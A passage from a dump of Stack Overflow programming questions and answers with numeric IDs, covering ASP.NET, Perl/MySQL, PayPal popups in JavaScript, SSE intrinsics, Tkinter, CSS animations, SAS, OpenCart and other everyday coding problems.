</code></pre> <p>The point is that when my transponho this data model for my action through the insert method below:</p> <pre><code>[HttpPost] [Route("PostClients/{clientid}")] [ResponseType(typeof(Models.Clients))] public async Task&lt;IHttpActionResult&gt; PostClients(Guid clientid, [FromBody] Models.Clients clients) { try { var response = await new UsersBll().AddUsersAsync(new Users { UsersId = clientid, Name = clients.Name, UserName = clients.UserName, UserPassword = clients.UserPassword, OpeningDate = clients.OpeningDate, Status = 1, Contacts = clients.Contacts}); return Ok(response); } }catch (Exception ex) { return BadRequest(ex.Message); } } </code></pre> <p>All areas of my body it takes the values, only the field that is the SortedList I can not put it ends up reset,all areas of my body it takes the values, only the field that is the SortedList I can not put it ends up reset, as the image of the visual studio and the example of my body the postman.</p> <p><a href="http://i.stack.imgur.com/Fdi77.png" rel="nofollow">Visual Studio Debug ilustration of case</a></p> <p><a href="http://i.stack.imgur.com/ttpiH.png" rel="nofollow">Postman Body send</a></p>
24108041	0	Perl query and get column name <p>I need to make a query where I will be looking for a specific string through several columns and I need to know which column (name) contains the value that I need.</p> <p>In the example below I need a query where I can ask which column contains the value 1000000000002101214 and that it returns f1. DB is MySQL and I need the programming to be done in Perl.</p> <pre><code>+---------------------+---------------------+---------------------+ | f1 | f2 | f3 | +---------------------+---------------------+---------------------+ | 1000000000002101214 | 1000000000001989129 | 1000000000001881637 | | 1000000000002080453 | 1000000000001968481 | 1000000000001862284 | | 1000000000002085919 | 1000000000001973677 | 1000000000001866854 | | 1000000000002075076 | 1000000000001963189 | 1000000000001857288 | +---------------------+---------------------+---------------------+ </code></pre> <p>I was able to find an almost-answer to my question from another site where I could get the column names of the fields in the table with the following:</p> <pre><code>my @cols = @{$sth-&gt;{NAME}}; # or NAME_lc if needed while (@row = $sth-&gt;fetchrow_array) { print "@row\n"; } $sth-&gt;finish; foreach ( @cols ) { printf( "Note: col : %s\n", $_ ); } </code></pre> <p>The problem is partially resolved. In the example table I provided in the original question I needed to know on which column my answer resides, the query contains several OR statemens:</p> <pre><code>SELECT * FROM table WHERE (f1='1000000000002101214' OR f2='1000000000002101214' OR f3='1000000000002101214') </code></pre> <p>And I need the result to show that the column name where the number is located is f1. So....</p> <p>Any thoughts?</p>
13992196	0	 <p>In a imagePath , set location of your image. Like here its showing test.jpg file is stored in images folder.</p> <pre><code> String base = Environment.getExternalStorageDirectory().getAbsolutePath().toString(); String imagePath = "file://"+ base + "/images/test.jpg"; String html = "&lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;img src=\""+ imagePath + "\"&gt;&lt;/body&gt;&lt;/html&gt;"; mWebView.loadDataWithBaseURL("", html, "text/html","utf-8", ""); </code></pre>
23275183	0	 <p>Your <code>alert</code> call is using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#-_.28Unary_Plus.29" rel="nofollow">unary <code>+</code> arithmetic operator</a>, which attempts to convert its operand (in this case <code>cityname</code>) to a number. Since <code>cityname</code> is a string, the unary <code>+</code> cannot convert it and returns <code>NaN</code> instead.</p>
14257872	0	PHP Mail using Google <p>I'm new to PHP. Can anyone help me to figure out how to send mail in PHP using Google as host? I tried many links! Dint help me! PHP mailer program proper?</p>
30226002	0	 <p>This code solves the problem you are talking about (specifically for issues with Chrome ios not liking "pop ups"), but in reference to Paypal Adaptive Payments where it opens a "pop up" and redirects to Paypal page for payment.</p> <p>The key is that you have to:</p> <ol> <li>Initiate the window.open directly from a button/link click</li> <li>You must use the _blank as the window "name" (and not choose your own)</li> </ol> <p>The main thing you want/need is:</p> <pre><code>var win; //VERY IMPORTANT - You must use '_blank' and NOT name the window if you want it to work with chrome ios on iphone //See this bug report from google explaining the issue: https://code.google.com/p/chromium/issues/detail?id=136610 win = window.open(paypalURL,'_blank'); //Initiate returnFromPayPal function if the pop up window is closed if (win &amp;&amp; win.closed) { returnFromPayPal(); } </code></pre> <p>Here is the full code that you can follow (ignore anything that doesn't apply to what you are doing).</p> <pre><code>&lt;div&gt; &lt;?php $payUrl = 'https://www.paypal.com/webapps/adaptivepayment/flow/pay?expType=mini&amp;paykey=' . $payKey ?&gt; &lt;button onclick="loadPayPalPage('&lt;?php echo $payUrl; ?&gt;')" title="Pay online with PayPal"&gt;PayPal&lt;/button&gt; &lt;/div&gt; &lt;script&gt; function loadPayPalPage(paypalURL) { var ua = navigator.userAgent; var pollingInterval = 0; var win; // mobile device if (ua.match(/iPhone|iPod|Android|Blackberry.*WebKit/i)) { //VERY IMPORTANT - You must use '_blank' and NOT name the window if you want it to work with chrome ios on iphone //See this bug report from google explaining the issue: https://code.google.com/p/chromium/issues/detail?id=136610 win = window.open(paypalURL,'_blank'); pollingInterval = setInterval(function() { if (win &amp;&amp; win.closed) { clearInterval(pollingInterval); returnFromPayPal(); } } , 1000); } else { //Desktop device var width = 400, height = 550, left, top; if (window.outerWidth) { left = Math.round((window.outerWidth - width) / 2) + window.screenX; top = Math.round((window.outerHeight - height) / 2) + window.screenY; } else if (window.screen.width) { left = Math.round((window.screen.width - width) / 2); top = Math.round((window.screen.height - height) / 2); } //VERY IMPORTANT - You must use '_blank' and NOT name the window if you want it to work with chrome ios on iphone //See this bug report from google explaining the issue: https://code.google.com/p/chromium/issues/detail?id=136610 win = window.open(paypalURL,'_blank','top=' + top + ', left=' + left + ', width=' + width + ', height=' + height + ', location=0, status=0, toolbar=0, menubar=0, resizable=0, scrollbars=1'); pollingInterval = setInterval(function() { if (win &amp;&amp; win.closed) { clearInterval(pollingInterval); returnFromPayPal(); } } , 1000); } } var returnFromPayPal = function() { location.replace("www.yourdomain.com/paypalStatusCheck.php"); // Here you would need to pass on the payKey to your server side handle (use session variable) to call the PaymentDetails API to make sure Payment has been successful // based on the payment status- redirect to your success or cancel/failed page } &lt;/script&gt; </code></pre>
18326319	0	 <p>Unfortunately I cannot provide a sample at the current moment, but you should definitely look into <a href="http://docs.oracle.com/javase/7/docs/api/javax/swing/plaf/basic/BasicScrollBarUI.html" rel="nofollow">this</a></p> <p>The <code>BasicScrollBarUI</code> class allows you to modify different features of a typical <code>JScrollBar</code>, such as various different colors, sizes, and shadow effects. This should be what you are looking for. Basically the idea is that you are supposed to override the <code>installDefaults</code> method and just modify the protected fields to your liking.</p> <p>But, if you want to get fancy, I would highly suggest looking into <a href="http://docs.oracle.com/javafx/" rel="nofollow">JavaFX</a> due to the amount of customizability it supports, one being CSS styling (which should be very helpful to you).</p>
7896946	0	 <p>Taghrid, It looks like you're getting a Stackoverflow error. This indicates that somewhere in your code you have <a href="http://en.wikipedia.org/wiki/Infinite_loop#Infinite_recursion" rel="nofollow">Infinite recursion</a>. It looks like it's VoiceAlert and ReadyToSpeak functions that keep calling one another. Are you sure the package your using, org.androiddev.android.test is of good quality? Are you using a release version of it?</p>
30963615	0	How do I update a column based on other columns in the same row <p>Lets say I have a table called User. It has three columns called <code>Score1</code>, <code>Score2</code> and <code>Score3</code>.</p> <p><code>Score1</code> and <code>Score2</code> rely on the user inputting data but I want <code>Score3</code> to be the sum of <code>Score1</code> and <code>Score2</code>. How do I implement this? Is the logic for this rendered in the model. If so what does it look like? Or is it something that gets set up in during a migration when specifying the database structure?</p>
257969	0	 <p>Using shared memory is tougher because you'll have to manage the size of the shared memory buffer (or just pre-allocate enough). You'll also have to manually manage the data structures that you put in there. Once you have it tested and working though, it will be easier to use and test because of its simplicity.</p> <p>If you go the remoting route, you can use the IpcChannel instead of the TCP or HTTP channels for a single system communication using Named Pipes. <a href="http://msdn.microsoft.com/en-us/library/4b3scst2.aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/4b3scst2.aspx</a>. The problem with this solution is that you'll need to come up with a registry type solution (either in shared memory or some other persistent store) that processes can register their endpoints with. That way, when you're looking for them, you can find a way to query for all the endpoints that are running on the system and you can find what you're looking for. The benefits of going with Remoting are that the serialization and method calling are all pretty straightforward. Also, if you decide to move to multiple machines on a network, you could just flip the switch to use the networking channels instead. The cons are that Remoting can get frustrating unless you clearly separate what are "Remote" calls from what are "Local" calls.</p> <p>I don't know much about WCF, but that also might be worth looking into. Spider sense says that it probably has a more elegant solution to this problem... maybe.</p> <p>Alternatively, you can create a "server" process that is separate from all the other processes and that gets launched (use a system Mutex to make sure more than one isn't launched) to act as a go-between and registration hub for all the other processes.</p> <p>One more thing to look into the Publish-Subscribe model for events (Pub/Sub). This technique helps when you have a listener that is launched before the event source is available, but you don't want to wait to register for the event. The "server" process will handle the event registry to link up the publishers and subscribers.</p>
4821017	0	EDMX new column generates error on ToList() call <p>We've added a new column to a database table. The column is defined as follows:</p> <pre><code>Name: DisplayAsSoldOut Type: Boolean NOT NULLABLE Default Value: 0 </code></pre> <p>We've refreshed our EDMX data model and the new column appears just fine. We are on an ASP.NET 4.0 platform using C#.</p> <p>We have a class defined as PagedList which inherits from List and implenents an interface IPagedList</p> <p>Within the PagedList we have the following method:</p> <pre><code>protected void Initialize(IQueryable&lt;T&gt; source, int index, int pageSize, int? totalCount) { if (index &lt; 0) { throw new ArgumentOutOfRangeException("PageIndex cannot be below 0."); } if (pageSize &lt; 1) { throw new ArgumentOutOfRangeException("PageSize cannot be less than 1."); } if (source == null) { source = new List&lt;T&gt;().AsQueryable(); } if (!totalCount.HasValue) { TotalItemCount = source.Count(); } PageSize = pageSize; PageIndex = index; if (TotalItemCount &gt; 0) { PageCount = (int)Math.Ceiling(TotalItemCount / (double)PageSize); } else { PageCount = 0; } HasPreviousPage = (PageIndex &gt; 0); HasNextPage = (PageIndex &lt; (PageCount - 1)); IsFirstPage = (PageIndex &lt;= 0); IsLastPage = (PageIndex &gt;= (PageCount - 1)); if (TotalItemCount &gt; 0) { AddRange(source.Skip((index) * pageSize).Take(pageSize).ToList()); } } </code></pre> <p>When we reach the following line:</p> <pre><code>{ AddRange(source.Skip((index) * pageSize).Take(pageSize).ToList()); } </code></pre> <p>we receive the following Exception ...</p> <pre><code>Type: System.Data.EntityCommandExecutionException Inner Exception: "Invalid column name 'DisplayAsSoldOut'." </code></pre> <p>I've tried searching for this type of exception but to no avail. The column appears in the EDMX dataset just fine. I even created a small throwaway program and imported the EDMX to do a simple read from the database and it worked fine. Has anyone run across something similar?</p> <p>I apologize for the lengthy post but wanted to present as much info as I could.</p>
34023604	1	Open Tkinter multiple Windows with delay (Python) <p>I've been trying to open several Tkinter windows with a delay of couple seconds between each Tkinter window.</p> <p>My Script so far : </p> <pre><code>import Tkinter as tk import os from PIL import Image, ImageTk from win32api import GetSystemMetrics from time import sleep from random import uniform root = tk.Tk() tk.Label(root, text="this is the root window").pack() root.geometry("10x10") l = [] def showPic(i): if(i&lt;5): loc = os.getcwd() + '\pictures\pic%s.jpg' % i img = Image.open(loc) img.load() photoImg = ImageTk.PhotoImage(img) l.append(photoImg) window = tk.Toplevel() window.geometry("750x750+%d+%d" % (uniform(0, GetSystemMetrics(0) - 750), uniform(0, GetSystemMetrics(1) - 750))) tk.Label(window, text="this is window %s" % i).pack() tk.Label(window, image=photoImg).pack() root.after(1000, showPic(i+1)) else: return root.after(0, showPic(1)) root.mainloop() </code></pre> <p>I also tried using the sleep() and after() functions with no success. It waits the time before preparing the window, but shows them all together, simultaniously, after the time I set</p>
11321205	0	Vectorizing Dot Product Calculation using SSE4 <p>I am trying to improve this code with the SSE4 dot product but I am having a hard time finding a solution. This function gets the parameters qi and tj which contain float arrays with 80 cell each and then calculate the dot product. The return value is a vector with four dot products. So I what I'm trying to do is calculating four dot products of twenty values in parallel. </p> <p>Have you any idea how to improve this code?</p> <pre><code>inline __m128 ScalarProd20Vec(__m128* qi, __m128* tj) { __m128 res=_mm_add_ps(_mm_mul_ps(tj[0],qi[0]),_mm_mul_ps(tj[1],qi[1])); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[2],qi[2]),_mm_mul_ps(tj[3],qi[3]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[4],qi[4]),_mm_mul_ps(tj[5],qi[5]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[6],qi[6]),_mm_mul_ps(tj[7],qi[7]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[8],qi[8]),_mm_mul_ps(tj[9],qi[9]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[10],qi[10]),_mm_mul_ps(tj[11],qi[11]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[12],qi[12]),_mm_mul_ps(tj[13],qi[13]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[14],qi[14]),_mm_mul_ps(tj[15],qi[15]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[16],qi[16]),_mm_mul_ps(tj[17],qi[17]))); res=_mm_add_ps(res,_mm_add_ps(_mm_mul_ps(tj[18],qi[18]),_mm_mul_ps(tj[19],qi[19]))); return res; } </code></pre>
15911970	0	 <p>the variable countn should be accessable from both functions. i put everything in an anonymous function, so only both click event handler can access the variable.</p> <pre><code>(function () { var countn=0; $('#gallery').on('click', '.gon', function() { // increment countn }); $('.teaserbox').click(function() { // reset countn }); })(); </code></pre>
21618767	0	looping a CSS3 animation with multiple keyframes <p>I managed to make multiple key-frames in an animation play one after another </p> <p><a href="http://jsfiddle.net/NuMjW/" rel="nofollow">http://jsfiddle.net/NuMjW/</a></p> <p>but can't make the whole loop, so currently it plays the sequence once and then its done, is there a way to make it loop without using jquery or javascript to restart it after n seconds have passed.</p> <pre><code>.hi { width: 48px; height: 48px; background-image: url("http://s30.postimg.org/k4qce9z1r/warp.png"); -webkit-animation: play1 0.3s 0s steps(5) forwards, play2 0.3s 0.3s steps(5) forwards, play3 0.3s 0.6s steps(5) forwards; } @-webkit-keyframes play1 { from { background-position-y: 0px; background-position-x: 0px; } to { background-position-y: 0px; background-position-x: -240px; } } @-webkit-keyframes play2 { from { background-position-y: -48px; background-position-x: 0px; } to { background-position-y: -48px; background-position-x: -240px; } } @-webkit-keyframes play3 { from { background-position-y: -96px; background-position-x: 0px; } to { background-position-y: -96px; background-position-x: -240px; } } </code></pre>
14766568	0	Getting Data fom Server into Sqlite DB <p>In my application I have a <code>Sqlite database</code> locally. When application starts, I am running a <code>Thread</code> and getting <code>Json</code> data from Server. After parsing these json data, I am creating a <code>Sqlite</code> db in my app. It is in terms long running process and lots of code is written. Everything working fine,</p> <p><strong>But, I am just looking if there is another way around to directly populate my local db with this server db? basically a more robust solution.</strong></p>
18283850	0	Why does this provide me with a stack overflow error? <p>The following code yields a stack overflow error, can someone tell me why? (I know how to fix the error, if I reference 'super' instead of 'this' in the <code>add</code> method, but I am not sure why that works.)</p> <pre><code>package subclassingVector; import java.util.Vector; public class MyVectorSubclass extends Vector&lt;MyModelClass&gt; { public MyVectorSubclass(){ MyModelClass m = new MyModelClass(); m.setId(2); this.add(m); if(this.contains(m)){ System.out.println("contains is true"); } } public boolean add(MyModelClass o){ this.add(o); return true; } public boolean contains(Object o){ for(subclassingVector.MyModelClass mmc: this){ if(mmc.equals((MyModelClass) o)){ return true; } } return false; } public static void main(String[] args) { String s = new String("SSEE"); MyVectorSubclass m = new MyVectorSubclass(); } public class MyModelClass { private Integer id = null; public MyModelClass() { // TODO Auto-generated constructor stub } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } } } </code></pre>
29910521	0	 <p>Before version 7,</p> <p><code>osv</code> is a class and an OpenERP descriptor class and all the class( model) must inherit it for OpenERP module deployment.</p> <p><code>osv</code> class inside in OSV module in OpenERP server , which content all the OpenERP properties like you can see _column, _defaults and other many things there such as nameetc so we must inherit in our openerp model (class)</p> <p>In version 7, </p> <p>The ORM, short for Object-Relational Mapping, is a central part of OpenERP.</p> <p>In OpenERP, the data model is described and manipulated through Python classes and objects. It is the ORM job to bridge the gap -- as transparently as possible for the developer -- between Python and the underlying relational database (PostgreSQL), which will provide the persistence we need for our objects.</p> <p><code>osv.osv</code> and <code>orm.Model</code> is deprecated and it still works for backward compatibility. You should use <code>models.Model</code> instead.</p> <p>In version 8+, </p> <p>The model transition was</p> <p><code>osv.osv</code> ---> <code>orm.Model</code> ---> <code>models.Model</code></p> <p><code>osv.TransientModel</code> ---> <code>orm.TransientModel</code> ---> <code>models.TransientModel</code></p>
38766605	0	 <p>Try this</p> <pre><code>- (NSString *)convertDate:(NSString *)dateString { NSDateFormatter* dateFormatter = [[NSDateFormatter alloc] init]; dateFormatter.dateFormat = @"yyyy-MM-dd'T'HH:mm:ssZZZZ"; NSDate *yourDate = [dateFormatter dateFromString:dateString]; dateFormatter.dateFormat = @"MMM dd, yyyy"; NSLog(@"%@",[dateFormatter stringFromDate:yourDate]); NSString *str = [dateFormatter stringFromDate:yourDate]; return str; } </code></pre>
33954759	0	 <p>id_rsa.pub is base64 encoded file, it contains "+" character</p> <p>http post with application/x-www-form-urlencoded, need encode it's content preventing "+" being convert to " " (space key) </p> <p>try </p> <pre><code>curl --data-urlencode "key=$key_pub" --data-urlencode "title=$hostname" \ http://gitlabserver/api/v3/user/keys?private_token=$Token </code></pre> <p>see: <a href="http://stackoverflow.com/a/23152871/719995">this</a></p>
17026940	0	Is there a difference between "and" vs "and then" in an IF statement <p>I'm learning Ada by fixing bugs and reading code. I've noticed some if statements that are ganged with "and" and others with "and then". similarly, there is "or" and other places there is "or else". A co-worker says it's just syntactic sugar and makes no difference. I wonder if he's right?</p>
23583190	0	Echo Canceller Android API level 10 <p>I'm building an android audio app that has to support the API level 10 and I have Larsen effect problems. My android app streams the audio to a java app that outputs the sound.</p> <p>I found the AcousticEchoCanceller of android but it is only available from the API level 16.</p> <p>Is there a way to do that without this class ? Or could I do it on the java app ?</p> <p>Thank's</p> <p>Lukas</p>
37533604	0	Firebase2 Facebook Authentication with iOS Swift (Without FBSDKLoginButton) <p>I am trying to authenticate my login with Firebase 2 without using FBSDKLoginButton. I used the FBSDKLoginManager to get my FB Login token, then when i try to authenticate that with Firebase i get the following error:</p> <p><em>Error Domain=FIRAuthErrorDomain Code=17023 "An invalid API Key was supplied in the request." UserInfo={NSLocalizedDescription=An invalid API Key was supplied in the request., error_name=ERROR_INVALID_API_KEY}</em></p> <pre><code> let mngr = FBSDKLoginManager(); mngr.logInWithReadPermissions(["email"], fromViewController: self) { (result, error) in if FBSDKAccessToken.currentAccessToken() != nil { let credential = FIRFacebookAuthProvider.credentialWithAccessToken(FBSDKAccessToken.currentAccessToken().tokenString); FIRAuth.auth()?.signInWithCredential(credential, completion: { (user, error) in if error == nil { print("user: \(user?.displayName)"); } else { print(error.debugDescription); } }) } } </code></pre> <p>I have all the info set in the plist:</p> <pre><code>&lt;string&gt;VegFru&lt;/string&gt; &lt;key&gt;LSApplicationQueriesSchemes&lt;/key&gt; &lt;array&gt; &lt;string&gt;fbauth2&lt;/string&gt; &lt;string&gt;fbapi&lt;/string&gt; &lt;string&gt;fb-messenger-api&lt;/string&gt; &lt;string&gt;fbshareextension&lt;/string&gt; &lt;string&gt;fbapi20130214&lt;/string&gt; &lt;string&gt;fbapi20130410&lt;/string&gt; &lt;string&gt;fbapi20130702&lt;/string&gt; &lt;string&gt;fbapi20131010&lt;/string&gt; &lt;string&gt;fbapi20131219&lt;/string&gt; &lt;string&gt;fbapi20140410&lt;/string&gt; &lt;string&gt;fbapi20140116&lt;/string&gt; &lt;string&gt;fbapi20150313&lt;/string&gt; &lt;string&gt;fbapi20150629&lt;/string&gt; &lt;string&gt;fbapi20160328&lt;/string&gt; &lt;string&gt;fbauth&lt;/string&gt; &lt;string&gt;fb-messenger-api20140430&lt;/string&gt; &lt;string&gt;fb-messenger-platform-20150128&lt;/string&gt; &lt;string&gt;fb-messenger-platform-20150218&lt;/string&gt; &lt;string&gt;fb-messenger-platform-20150305&lt;/string&gt; &lt;/array&gt; </code></pre> <p>I also checked the API from the facebook app and it matches 100%. I am really clueless why its not working.</p> <p>Thank you in advance.</p>
99726	0	 <p>I tend to follow the rule pretty strictly, even when it's just my own code. I really like Properties in C# for that reason. It makes it really easy to control what values it's given, but you can still use them as variables. Or make the set private and the get public, etc.</p>
31921647	0	 <p>You are asking to fulfill this requirement using crawl rule. But crawl rule is generic for the content source and it will effect all the content source which is not recommended(and also not possible) for excluding some result depending on item values. So I like to solve this using scope which is described below. </p> <p>For excluding that, first of all you need to add new managed property for the column "Active". For that go to search service application-> Managed Property-> New managed property. Give property name and map it to the field "Active". Also select the type of the field "Active". Tick the box for allow this property to be used in scopes.</p> <p>Then go to corresponding scope-> new rule-> choose property query then choose from "Add property restriction" corresponding managed property name(property name given by you during managed property creation) and "=" "No"(please use exact field value of the document library), then choose Exclude and click "ok".</p> <p>Add this scope in the search page and run full crawl in the central admin.</p> <p>I hope this will fulfill your requirement.</p>
35787764	0	 <p>Every local object referenced inside a closure will be simply serialized and transfered with corresponding task. Beyond that Spark doesn't apply any special transformations - if you have local in-memory data structure it won't change when you use it inside a task.</p>
2320534	0	 <p>There are a number of solutions. You should not assume that everyone has Java installed. You can use web start for instance which will help with the setup. You can find some <a href="http://java.sun.com/javase/6/docs/technotes/guides/jweb/deployment_advice.html" rel="nofollow noreferrer">advice here</a>.</p> <p>More info about <a href="http://java.sun.com/javase/technologies/desktop/javawebstart/index.jsp" rel="nofollow noreferrer">web start here</a>.</p>
21929283	0	 <p><code>line-height</code> doesn't collapse - every line will be that height, regardless of content before or after, similar to the line height setting in any word processor or DTP.</p> <p>However, if you use <code>margin</code> vertical spaces collapse, so you can use it as the space before and the space after paragraphs.</p> <p>So the following:</p> <pre><code>p { font-size: 20px; line-height: 30px; margin-top: 5px; margin-bottom: 10px; } </code></pre> <p>Will produce:</p> <ul> <li>20px font size</li> <li>1.5 line height</li> <li>5px space before the first paragraph</li> <li>10px space after the last paragraph <em>and</em> between paragraphs</li> </ul> <p>And also:</p> <ul> <li>The first margin will be applied before the outer <code>div</code></li> <li>The last margin will be applied after the outer <code>div</code></li> </ul>
30105334	0	How to save string contains of 1 and 0 to bin file? <p>Hi I have string str="1010101010101010" comes from file.txt which contains exactly 16 signs: 0 and 1.This is only an example and str can have more than 16 signs: 8,16,24,32,40... I want to save it to file.bin. After saving file.bin must have size 2B(in this example). I tried to use </p> <pre><code>File.WriteAllText(path, str); </code></pre> <p>but my file is bigger than i want. Can someone help me?</p>
31711508	0	Advantages of running a CI environment on JavaScript projects <p>I have been recently looking at installing either team city or Jenkins as a CI solution. I am quite aware of the advantages it can bring to my teams c++ projects with nightly builds to test if anything checked into git has broken the project or dependent projects. Also as a way of building and releasing software.</p> <p>However I know people use it on JavaScript projects. These cannot be built as such and can only really be tested at runtime. So what is the real advantage of using a CI solution on a JavaScript project comprising of back end and web front end code.</p> <p>Thanks for any advice.</p>
9470248	0	Stop SAS Program on Error <p>I am using a macro to stop my SAS program on an error, but it always disconnects from the server and then I cannot get back my temporary data sets anymore.</p> <p>I have tried:</p> <pre><code>OPTIONS ERRORABEND; </code></pre> <p>Here is the macro I have tried:</p> <pre><code>%macro errchk; %if &amp;syserr &gt;0 and &amp;syserr ne 4 %then %abort; %mend errchk; </code></pre> <p>This one keeps processing the following data steps after reaching an error.</p> <p>I cannot figure out how to stop the rest of the program from running, but NOT disconnect from the SAS server. Any ideas?</p>
20030774	0	How to get all categories on opencart admin/catalog/product_form.tpl? <p>I'm using opencart 1.5.6 and what I'm trying to do is add a simple select with all the categories and children categories as option on product_form.tpl.</p> <p>I tried add to the follow code at admin/controler/catalog/product.php:</p> <pre><code> $this-&gt;load-&gt;model('catalog/category'); $results = $this-&gt;model_catalog_category-&gt;getCategories(0); foreach ($results as $result) { $this-&gt;data['categories'][] = array( 'category_id' =&gt; $result['category_id'], 'name' =&gt; $result['name'] ); } </code></pre> <p>and for the view admin/view/catalog/product_form.tpl:</p> <pre><code>&lt;tr&gt; &lt;td&gt;Categories&lt;/td&gt; &lt;td&gt;&lt;select&gt; &lt;option value=""&gt;All Categories&lt;/option&gt; &lt;?php foreach ($categories as $category) { ?&gt; &lt;option value="&lt;?php echo $category['name']; ?&gt;"&gt;&lt;?php echo $category['name']; ?&gt;&lt;/option&gt; &lt;?php } ?&gt; &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; </code></pre> <p>but it's not working. It returns nothing.</p> <p>I wish someone could help me and tell me what I'm missing.</p>
14856091	0	jQuery click event triggered multiple times off one click <p>I am having trouble with multiple clicks being registered in jQuery when only one element has been clicked. I have read some other threads on <a href="http://stackoverflow.com/questions/2024389/jquery-click-event-is-firing-multiple-times-when-using-class-selector">Stack Overflow</a> to try and work it out but I reckon it is the code I have written. The HTML code is not valid, but that is caused by some HTML 5 and the use of YouTube embed code. Nothing that affects the click.</p> <p>The jQuery, triggered on document.ready</p> <pre><code>function setupHorzNav(portalWidth) { $('.next, .prev').each(function(){ $(this).click(function(e){ var target = $(this).attr('href'); initiateScroll(target); console.log("click!"); e.stopPropagation(); e.preventDefault(); return false; }); }); function initiateScroll(target) { var position = $(target).offset(); $('html, body').animate({ scrollLeft: position.left }, 500); } } </code></pre> <p>Example HTML</p> <pre><code>&lt;nav class="prev-next"&gt; &lt;a href="#countdown-wrapper" class="prev"&gt;Prev&lt;/a&gt; &lt;a href="#signup-wrapper" class="next"&gt;Next&lt;/a&gt; &lt;/nav&gt; </code></pre> <p>In Firefox one click can log a "Click!" 16 times! Chrome only sees one, but both browsers have shown problems with the above code.</p> <p>Have I written the code wrongly or is there a bug?</p> <p>-- Some extra info ------------------------------------------</p> <p>setupHorzNav is called by another function in my code. I have tested this and have confirmed it is only called once on initial load.</p> <pre><code>if ( portalWidth &gt;= 1248 ) { wrapperWidth = newWidth * 4; setupHorzNav(newWidth); } else { wrapperWidth = '100%'; } </code></pre> <p>There are mutiple instances of nav 'prev-next'. All target different anchors. All are within the same html page.</p> <pre><code>&lt;nav class="prev-next"&gt; &lt;a href="#video-wrapper" class="prev"&gt;Prev&lt;/a&gt; &lt;/nav&gt; </code></pre>
13171436	0	 <p>put this in you viewDidLoad, and i think you will get what you need.</p> <pre><code>UIBarButtonItem *backBarButtonItem = [[UIBarButtonItem alloc] initWithTitle:@"yourTitle" style:UIBarButtonItemStylePlain target:nil action:nil]; self.navigationItem.backBarButtonItem = backBarButtonItem; [backBarButtonItem release]; </code></pre>
14377350	0	Draw Graphics on JPanel as insert opertaion on JTextArea are made <p>Hello Everyone and thx in advance. So my problem is I want to draw on a JPanel something on condition on what's been inserted in the JtextArea is this correct? : DocumentListener to check on the insert operation :</p> <pre><code>protected class MyDocumentListener extends JPanel implements javax.swing.event.DocumentListener { @Override public void changedUpdate(javax.swing.event.DocumentEvent e) { // text has been altered in the textarea } @Override public void insertUpdate(javax.swing.event.DocumentEvent e) { // text has been added to the textarea try { //if not prompt Line if (!Traffic.getText(Traffic.getLineStartOffset(Traffic.getLineCount()-1), Traffic.getLineEndOffset(Traffic.getLineCount()-1)- Traffic.getLineStartOffset(Traffic.getLineCount()-1)).contains("&gt;&gt;")) {//if a line after a replace has been inserted if (Traffic.getLineCount() == (lastreplace + 2) ) { System.err.println(Traffic.getText(Traffic.getLineStartOffset(lastreplace), Traffic.getLineEndOffset(lastreplace) - Traffic.getLineStartOffset(lastreplace))); PortArchitecture (Traffic.getText(Traffic.getLineStartOffset(lastreplace), Traffic.getLineEndOffset(lastreplace) - Traffic.getLineStartOffset(lastreplace))); lastreplace +=1; } else//last line when it's not detected by the previous condition it'll be consumed here { System.err.println(Traffic.getText(Traffic.getLineStartOffset(lastreplace), Traffic.getLineEndOffset(lastreplace) - Traffic.getLineStartOffset(lastreplace))); PortArchitecture (Traffic.getText(Traffic.getLineStartOffset(lastreplace), Traffic.getLineEndOffset(lastreplace) - Traffic.getLineStartOffset(lastreplace))); } } Traffic.setCaretPosition(Traffic.getDocument().getLength()); } catch (BadLocationException ex) { Logger.getLogger(TrafficSerialPort.class.getName()).log(Level.SEVERE, null, ex); } } @Override public void removeUpdate(javax.swing.event.DocumentEvent e) { // text has been removed from the textarea } } </code></pre> <p>Methode to check the condition and draw on the JPanel :</p> <pre><code>public void PortArchitecture (String line) throws BadLocationException { Graphics2D gfx = (Graphics2D)graphicPanel.getGraphics(); String [] valuesId = new String [2]; valuesId = line.split(":"); /**switch (valuesId[0]) { case "Port Number" : draw(); }*/ if(valuesId[0].contains("Port number")) { gfx.drawString("(PN)", 30, 10); gfx.drawString(valuesId[1],30, 140); } if(valuesId[0].contains("Port Extension")) { gfx.drawString("(EXT)", 100, 10); gfx.drawString(valuesId[1], 100, 140); // draw(g); } if(valuesId[0].contains("Forward Extension")) { gfx.drawLine(140,80,140,110); // draw(g); } if(valuesId[0].contains("ON-HOOK")) { // draw(g); } if(valuesId[0].contains("OFF-HOOK")) { // draw(g); } if(valuesId[0].contains("Forward status")) { if(valuesId[1].contains("FORWARDED")) { // draw(g); } else { // draw(g); } } if(valuesId[0].contains("Dialing")) { //get dialed number //draw(g); } } </code></pre> <p>And another thing : I have some result concerning Showing some drawings but when I minimize the application all the graphics are gone.I know I need to call the repaint() but I don't know when and how. Help please!</p>
24920553	0	 <p>Create a public bool variable and check against it for if the analytics have been sent previously.</p>
2829829	0	 <p>You should be able to use the <a href="http://www.techonthenet.com/oracle/functions/case.php" rel="nofollow noreferrer"><code>CASE</code></a> construct, and it would look something like this:</p> <pre><code>select order.foo, case when sale.argle is null then 'N' else 'Y' end from order left join sale on order.product_number = sale.product_number; </code></pre>
